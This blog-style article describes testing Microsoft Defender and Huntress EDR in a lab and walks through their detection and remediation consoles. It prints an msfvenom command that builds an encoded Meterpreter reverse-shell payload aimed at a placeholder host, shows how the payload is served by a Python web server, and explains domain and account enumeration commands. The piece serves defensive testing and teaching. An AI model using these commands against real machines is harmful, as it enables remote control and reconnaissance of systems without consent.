Many businesses use an EDR solution to manage endpoints and remediate incidents. How can you be sure these solutions are working properly and are able to act to stop a threat when it occurs?

Today we will look at how Microsoft Defender and Huntress EDR respond to potential incidents and the valuable information they provide for cybersecurity professionals to investigate and respond to threats, as they happen.

Testing EDR Response

Enhanced Detection and Response (EDR) are security tools that leverage endpoint beacons that can detect, report, and remediate threats in real time. But how do we know that an EDR is working properly? We put them to the test!

For this test we have set up a lab environment with virtual machines (VMs) to put our EDRs to the test and see how they respond to an actual incident. To accomplish this, we set up two VMs: Kali Linux and Windows 11 for Business.

For our first test, we created three potentially malicious Meterpreter executable payloads using msfvenom on Kali Linux, as outlined in blumirabrian’s github repo.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai -i 1 lport=8443 lhost=1.2.3.4 -b "\x00" -f exe -o test.exe

Once we have these payloads, we can serve them from our Kali machine by running a simple python webserver:

python3 -m http.server

On our victim Windows 11 machine, we can then browse to the Kali Linux ip address at port 8000 to see the web server directory.

python-http

As we can see, our test executables are available for download:

test-exe

Those who subscribe to certain Microsoft 365 licensing have access to Microsoft Defender for Business, which leverages integration with Microsoft Windows and the security admin console to respond to threats.

If we attempt to download our executables, we are first blocked by the browser, which warns us that we are attempting an insecure download. After clicking “keep”, Microsoft Defender and Google Chrome both alert us that the download contains a virus.

chrome-detection defender-detection

In the Security Center on the endpoint, we can see the details of the detection.

defender-details

Microsoft defender certainly did its job well by detecting the malicious file and cleaning it up. What if we wanted to see something a bit more interesting, like an actual attach chain in progress? We want to test our sensors to see if Microsoft Defender can adequately detect things like recon, enumeration, privilege escalation, and spawning of processes.

Microsoft Defender Detections

For this, we turn to a very useful batch script created by op7ic on GitHub. Their EDR Testing Script allows us to do just that. This script runs a myriad of commands that mimic the various attack techniques a threat actor may leverage in a real attack. Let’s run it and see what happens!

Upon running the batch script, we are greeted with a user’s worst nightmare. CMD windows are spawned one after another as the script works through different techniques. Many Microsoft Defender alerts are generated by these processes.

To see how Microsoft Defender EDR responds to these alerts, we can navigate to the Microsoft Security console.

Upon logging into the console, we can navigate to the incidents page to see what’s happened on our endpoint.

defender-admin-incidents

Clicking on the incident reveals the Attack story, Alerts, and additional information. Within the attack story, each item shows the Incident graph, which lays out the timeline of each command and process executed, as well as ratings of severity and suspected malicious activity.

defender-admin-incident-detail

Navigating to the Incident timeline, we are shown a detailed play-by-play of each command that was executed. Below is an excerpt of the commands executed by our script, including common enumeration techniques.

defender-admin-incident-timeline

Enumeration Techniques

let’s break down each of these enumeration commands to see what they mean and why these detections are important to investigate.

wmic useraccount get /ALL

This use of wmic queries the user accounts on the local machine and returns all users.

net group "domain administrators" /domain

This command queries the domain controller for a list of all domain administrators on the domain. Gathering this information can identify prime targets for attack, as domain administrators hold the “keys to the kingdom”, so to speak.

hostname

The “hostname” command returns the computer name of the local machine. This can be useful for discovering naming schemes and pivoting.

net user /domain

This command also queries the domain controller for a list of users on the domain to identify additional targets.

net localgroup administrators

Gathering information on local administrator accounts can identify pathways for privilege escalation

systeminfo

Identifying the system specifications the attacker is on can reveal potential vulnerabilities to be exploited for privilege escalation and persistence.

Note that all these commands are very “loud” and will undoubtedly be noticed by an EDR, as we can see from this Microsoft Defender Timeline. However, this pattern of commands and processes can inform security personnel that someone is poking around.

Huntress Response

Huntress Managed EDR is an EDR endpoint service that is designed to work with Microsoft Defender or any other antivirus. Huntress provides centralized management and visibility of endpoints, detections and events.

Lets see how Huntress logged our Microsoft Defender incident. When we log into the Huntress Command Center, we are greeted by a clean dashboard that provides some overall statistics about our environment.

huntress-command-center

As you can see, we have one active incident being reported. If we click on the incident, and then “view” on the endpoint incident, we are presented with a detailed Incident Report with a concise summary of the incident, remaining footholds, remediations, and the signals investigated.

huntress-incident-report

By clicking on remediations, we are shown a list of suggested actions to remediate the incident, including automatically rebooting the endpoint.

huntress-remediation-plan

After approving the remediation plan, the listed files are deleted, and a signal is sent to automatically reboot the host. On the endpoint, after a few minutes, a message is displayed to the user that a system reboot is imminent.

endpoint-reboot

Rebooting the endpoint ends any running processes that may seek further persistence.

Conclusion

By utilizing Kali Linux and a simple script, we can mimic common tactics used by threat actors on an endpoint. This article is intended as an overview of how some of these attacks are reported in the Microsoft Defender console and the Huntress Command Center. EDR’s such as Huntress can be particularly useful for MSP’s that must monitor multiple tenants simultaneously.

In future articles, we’ll dive deeper into how additional attacks are implemented and how cybersecurity professionals can identify and respond to such threats.